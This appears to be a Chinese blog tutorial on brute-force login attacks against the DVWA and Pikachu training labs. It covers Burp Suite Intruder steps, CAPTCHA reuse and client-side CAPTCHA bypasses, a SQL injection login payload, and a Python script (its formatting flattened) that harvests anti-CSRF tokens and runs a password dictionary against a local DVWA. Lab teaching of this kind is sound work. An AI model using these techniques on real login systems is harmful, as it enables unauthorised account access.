暴力破解漏洞
暴力破解漏洞
- 1.1 漏洞简介
- 1.2 漏洞影响范围
- 1.3 漏洞详解
- 1.3.1DVWA
- (1)LOW
- (2)Medium
- (3)HIGH
- 1.3.2 Pikachu
- (1)验证码绕过(on server)
- (2)验证码绕过(on client)
- 1.3.3 识别验证码(绕过)
- 1.3.4 密码加密的情况
1.1 漏洞简介
暴力破解是一攻击具手段,在 web 攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个 web 应用系统存在暴力破解漏洞,一般是指该 web 应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的可能性变的比较高。 这里的认证安全策略, 包括: 1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码或者手机 otp; 3.是否对尝试登录的行为进行判断和限制(如:连续 5 次错误登录,进行账号锁定或 IP 地址锁定等); 4.是否采用了双因素认证。
1.2 漏洞影响范围
暴力破解漏洞是指攻击者通过尝试大量可能的密码、密钥或凭证来获得未经授权的访问权限。这种漏洞可能会影响各种系统和应用程序,包括网络服务器、数据库、操作系统和应用程序。
暴力破解漏洞的影响范围取决于受影响系统的安全性和防护措施。如果系统没有实施强大的密码策略、账户锁定机制或其他安全措施,那么暴力破解攻击可能会导致未经授权的访问、信息泄露、数据损坏或其他安全问题。
1.3 漏洞详解
1.3.1DVWA
(1)LOW
(1)方法一:
-
输入用户名密码抓包

-
发送给重发器查看


-
发至测试器,设置进行爆破

-
点击 clear 去掉全部,选中需要爆破的点击 add,添加需要爆破的字段

-
点击有效载荷,选择字典,可选择bp自带的或者载入自己的字典


-
选择攻击结果


-
清除不匹配的提示,添加时间报错页面或者正常返回页面的提示

-
开始爆破

(2)方法二 -
查看源码

-
只要传入参数为真即可,所以我们考虑进行 sql 注入:admin’ or ‘1’='1

(2)Medium

- isset() 函数用于检测变量是否已设置并且非 NULL。返回 TRUE。
- is_object() 函数用于检测变量是否是一个对象
- mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。
由于 mysqli_real_escape_string()对字符串进行了转义,所以 sql 注入将不能运用,所以直接用方法 1 burpsuite 爆破,只不过时间长了点而已。因为试一次密码要过滤 2 秒才能试下一个
(3)HIGH

-
stripslashes(string): 去除掉 string 字符的反斜杠\
-
mysqli_real_escape_string(string,connection)函数会对字符串 string 中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
使用了 stripslashes 函数和 mysqli_real_esacpe_string 来抵御 SQL 注入和 XSS 的攻击 -
代码增加了 token 机制

-
由于使用了 Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的 user_token 的值,用户每次登录时都要将 user_token 一起提交。服务器收到请求后,会优先做 token 的检查,再进行 sql 查询。所以我们无法通过 burpsuite 爆破出结果,所以先进行抓包。

python 进行爆破
from bs4 import BeautifulSoup
import requestsheader={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,imgs/image/avif,imgs/image/webp,*/*;q=0.8','Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding':'gzip, deflate','Connection': 'close','Referer':'http://127.0.0.1:81/dvwa/vulnerabilities/brute/','Cookie': 'security=high; PHPSESSID=h0t00163l0ktcpsdfitm24nhsj','Upgrade-Insecure-Requests': '1'}
requrl = "http://127.0.0.1:81/dvwa/vulnerabilities/brute/"def get_token(requrl,header):response=requests.get(url=requrl,headers=header)print(response.status_code,len(response.content))soup=BeautifulSoup(response.text,"lxml")form=soup.select('form')[0]input=form.select("input[type='hidden']")#获取用户的tokenuser_token = input[0]['value']# print(user_token)return user_tokenuser_token=get_token(requrl,header)
i=0
for line in open("./pass_dic.txt"):# http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=195c56bdfe59283bbf3baacee15ada60#password = line.strip()url = f"http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password={password}&Login=Login&user_token={user_token}"i=i+1# print(i, 'admin', line.strip(), end=" ")print(f"{i}-->admin:admin,password:{password}")user_token = get_token(url, header)if(i==20):break
1.3.2 Pikachu
(1)验证码绕过(on server)

-
将 bp 抓到的数据表发送给 repeater,删除验证码、输入错误验证码,查看返回的结果


-
刷新页面,记住验证码,然后修改数据包中的验证码,账号密码不变,显示用户名或密码存在


-
验证码不变,修改用户名或密码,查看返回结果,显示用户名或密码不正确,说名验证码是可以重复利用的,没有过期时间

-
将数据包发送给 Intruder 进行爆破


(2)验证码绕过(on client)

-
通过查看源码,发现验证码是前端生产的

-
将 bp 抓到的数据表发送给 repeater

-
删掉验证码,再次发送,没有提示要输入验证码,则说明此验证码对登录无效

-
将数据包发送给 Intruder 进行爆破

1.3.3 识别验证码(绕过)
待写…
1.3.4 密码加密的情况
待写…
相关文章:
暴力破解漏洞
暴力破解漏洞 1.1 漏洞简介1.2 漏洞影响范围1.3 漏洞详解1.3.1DVWA(1)LOW(2)Medium(3)HIGH 1.3.2 Pikachu(1)验证码绕过(on server)(2)验证码绕过(on client) 1.3.3 识别验证码(绕过)1.3.4 密码加密的情况 1.1 漏洞简介 暴力破解是一攻击具手段…...
前端成神之路-CSS基础选择器
前端成神之路-CSS基础选择器 目录 前端成神之路-CSS基础选择器 CSS选择器(重点) 1. CSS选择器作用(重点) 选择器的作用 2. CSS基础选择器 2.1 标签选择器 2.2 类选择器 2.3 类选择器特殊用法- 多类名 2.4 id选择器 id选…...
Endnote在word中加入参考文献及自定义参考文献格式方式
第一部分:在word中增加引用步骤 1、先下载对应文献的endnote引用格式,如在谷歌学术中的下载格式如下: 2、在endnote中打开存储env的格式库,导入对应下载的文件格式:file>import>file>choose,import对应文件&a…...
LeetCode力扣每日一题(Java):28、找出字符串中第一个匹配项的下标
别问我为什么今天做了两题,问就是我干概率论干废了,需要换换脑子想想不同类型的问题,所以来刷刷算法 一、题目 二、解题思路 1、我的思路 其实这题思路还挺简单的,我直接把代码放这,大家应该稍微看看就能懂 char[]…...
Java UDP 多人聊天室简易版
服务端 import java.io.*; import java.net.*; import java.util.ArrayList; public class Server{public static ServerSocket server_socket;public static ArrayList<Socket> socketListnew ArrayList<Socket>(); public static void main(String []args){try{…...
leetcode 100.相同的树
涉及到递归,最好多画图理解,希望对你们有帮助 100.相同的树 题目 给你两棵二叉树的根节点 p 和 q ,编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同,并且节点具有相同的值,则认为它们是相同的。 题目链接…...
2021年第十届数学建模国际赛小美赛A题气道阻力的评估解题全过程文档及程序
2021年第十届数学建模国际赛小美赛 A题 气道阻力的评估 原题再现: 气道阻力的定义是通过肺气道产生单位气流所需的经肺压力的变化。更简单地说,它是嘴和肺泡之间的压力差,除以气流。影响气道阻力的因素是多方面的,我们需要探讨这…...
内网环境安装K8S1.20.11版本集群
目录 第一章.实验要求和环境 1.1.实验要求 1.2.实验环境 1.3.依赖关系处理 第二章.K8S的安装过程 2.1.初始化到集群安装成功 ------------------------------ 环境准备 ------------------------------ docker安装好了后 2.2.安装K8组件 -------------------- 部署K8…...
【前端设计模式】之策略模式
概述 在前端开发中,我们经常会遇到需要根据不同的条件或情况来执行不同的算法或行为的情况。这时,策略模式就能派上用场。策略模式是一种行为型设计模式,它将不同的算法封装成独立的策略对象,使得这些算法可以互相替换࿰…...
JUC包(面试常问)
1. Callable接口 类似于Runnable接口,Runnable描述的任务,不带返回值;Callable描述的任务带返回值。 public class Test {//创建线程,计算12...1000public static void main(String[] args) throws ExecutionException, Interru…...
文字处理工具Word mac软件特点
Microsoft Word mac是一款文字处理软件。它是 Microsoft office 套件的一部分,已广泛用于创建、编辑和格式化文本文档。 Word mac软件特点 改进的协作工具:使用 Microsoft Word 2021,多个用户可以同时处理一个文档,从而更轻松地与…...
把 Windows 11 装进移动硬盘:Windows 11 To Go
本篇文章聊聊如何制作一个可以“说带走就带走”的 Windows 操作系统,将 Windows11 做成能够放在 U 盘或者移动硬盘里的 WinToGo “绿色软件”。 写在前面 在《开源的全能维护 U 盘工具:Ventoy》这篇文章的最后,我提到了一个关键词 “WinToG…...
11、pytest断言预期异常
官方用例 # content of test_exception_zero.py import pytestdef test_zero_division():with pytest.raises(ZeroDivisionError):1/0# content of test_exception_runtimeerror.py import pytestdef test_recursion_depth():with pytest.raises(RuntimeError) as excinfo:def…...
Vue之数据绑定
在我们Vue当中有两种数据绑定的方法 1.单向绑定 2.双向绑定 让我为大家介绍一下吧! 1、单向绑定(v-bind) 数据只能从data流向页面 举个例子: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"…...
druid在没有web的项目中如何查看监控
(1)在这个网址下载druidStat.bat文件https://github.com/alibaba/druid/blob/master/core/src/main/scripts/druidStat.bat druidStat.bat文件内容如下: echo offset _RUNJAVA"%JAVA_HOME%\bin\java.exe" set _TOOLSJAR"%JA…...
游戏被攻击该怎么办?游戏盾该如何使用,游戏盾如何防护攻击
随着Internet互联网络带宽的增加和多种DDOS黑客工具的不断发布,DDOS拒绝服务攻击的实施越来越容易,DDOS攻击事件正在成上升趋势。出于商业竞争、打击报复和网络敲诈等多种因素,导致很多商业站点、游戏服务器、聊天网络等网络服务商长期以来一…...
【基于openGauss5.0.0简单使用DBMind】
基于openGauss5.0.0简单使用DBMind 一、环境说明二、初始化tpch测试数据三、使用DBMind索引推荐功能四、使用DBMind实现SQL优化功能 一、环境说明 虚拟机:virtualbox操作系统:openEuler 20.03 TLS数据库:openGauss-5.0.0DBMind:d…...
[递归回溯]连接卡片最短路径
小游戏 题目描述 一天早上,你起床的时候想:“我编程序这么牛,为什么不能靠这个挣点银子呢?”因此你决定编写一个小游戏。 游戏在一个分割成w * h个长方格子的矩形板上进行。如图所示,每个长方格子上可以有一张游戏…...
初识人工智能,一文读懂强化学习的知识文集(5)
🏆作者简介,普修罗双战士,一直追求不断学习和成长,在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验,历任核心研发工程师,项目技术负责人。 🎉欢迎 👍点赞✍评论…...
视频封面提取:精准截图,如何从指定时长中提取某一帧图片
在视频制作和分享过程中,一个有吸引力的封面或截图往往能吸引更多的观众点击观看。有时候要在特定的时间段内从视频中提取一帧作为封面或截图。如果每个视频都手动提取的话就会耗费很长时间,那么如何智化能批量提取呢?现在一起来看下云炫AI智…...
多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...
C++:多态机制详解
目录 一. 多态的概念 1.静态多态(编译时多态) 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1).协变 2).析构函数的重写 5.override 和 final关键字 1&#…...
论文阅读:LLM4Drive: A Survey of Large Language Models for Autonomous Driving
地址:LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂,正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...
Python实现简单音频数据压缩与解压算法
Python实现简单音频数据压缩与解压算法 引言 在音频数据处理中,压缩算法是降低存储成本和传输效率的关键技术。Python作为一门灵活且功能强大的编程语言,提供了丰富的库和工具来实现音频数据的压缩与解压。本文将通过一个简单的音频数据压缩与解压算法…...
无需布线的革命:电力载波技术赋能楼宇自控系统-亚川科技
无需布线的革命:电力载波技术赋能楼宇自控系统 在楼宇自动化领域,传统控制系统依赖复杂的专用通信线路,不仅施工成本高昂,后期维护和扩展也极为不便。电力载波技术(PLC)的突破性应用,彻底改变了…...
联邦学习带宽资源分配
带宽资源分配是指在网络中如何合理分配有限的带宽资源,以满足各个通信任务和用户的需求,尤其是在多用户共享带宽的情况下,如何确保各个设备或用户的通信需求得到高效且公平的满足。带宽是网络中的一个重要资源,通常指的是单位时间…...
实现p2p的webrtc-srs版本
1. 基本知识 1.1 webrtc 一、WebRTC的本质:实时通信的“网络协议栈”类比 将WebRTC类比为Linux网络协议栈极具洞察力,二者在架构设计和功能定位上高度相似: 分层协议栈架构 Linux网络协议栈:从底层物理层到应用层(如…...
盲盒一番赏小程序:引领盲盒新潮流
在盲盒市场日益火爆的今天,如何才能在众多盲盒产品中脱颖而出?盲盒一番赏小程序给出了答案,它以创新的玩法和优质的服务,引领着盲盒新潮流。 一番赏小程序的最大特色在于其独特的赏品分级制度。赏品分为多个等级,从普…...
基于Java的离散数学题库系统设计与实现:附完整源码与论文
JAVASQL离散数学题库管理系统 一、系统概述 本系统采用Java Swing开发桌面应用,结合SQL Server数据库实现离散数学题库的高效管理。系统支持题型分类(选择题、填空题、判断题等)、难度分级、知识点关联,并提供智能组卷、在线测试…...
【NLP】 38. Agent
什么是 Agent? 一个 Agent 就是能够 理解、思考,并且进行世界交互 的模型系统,并不是纯粹的 prompt 返回器。 它可以: 读取外部数据(文件/API)使用记忆进行上下文维持用类Chain-of-Thought (CoT)方式进行…...
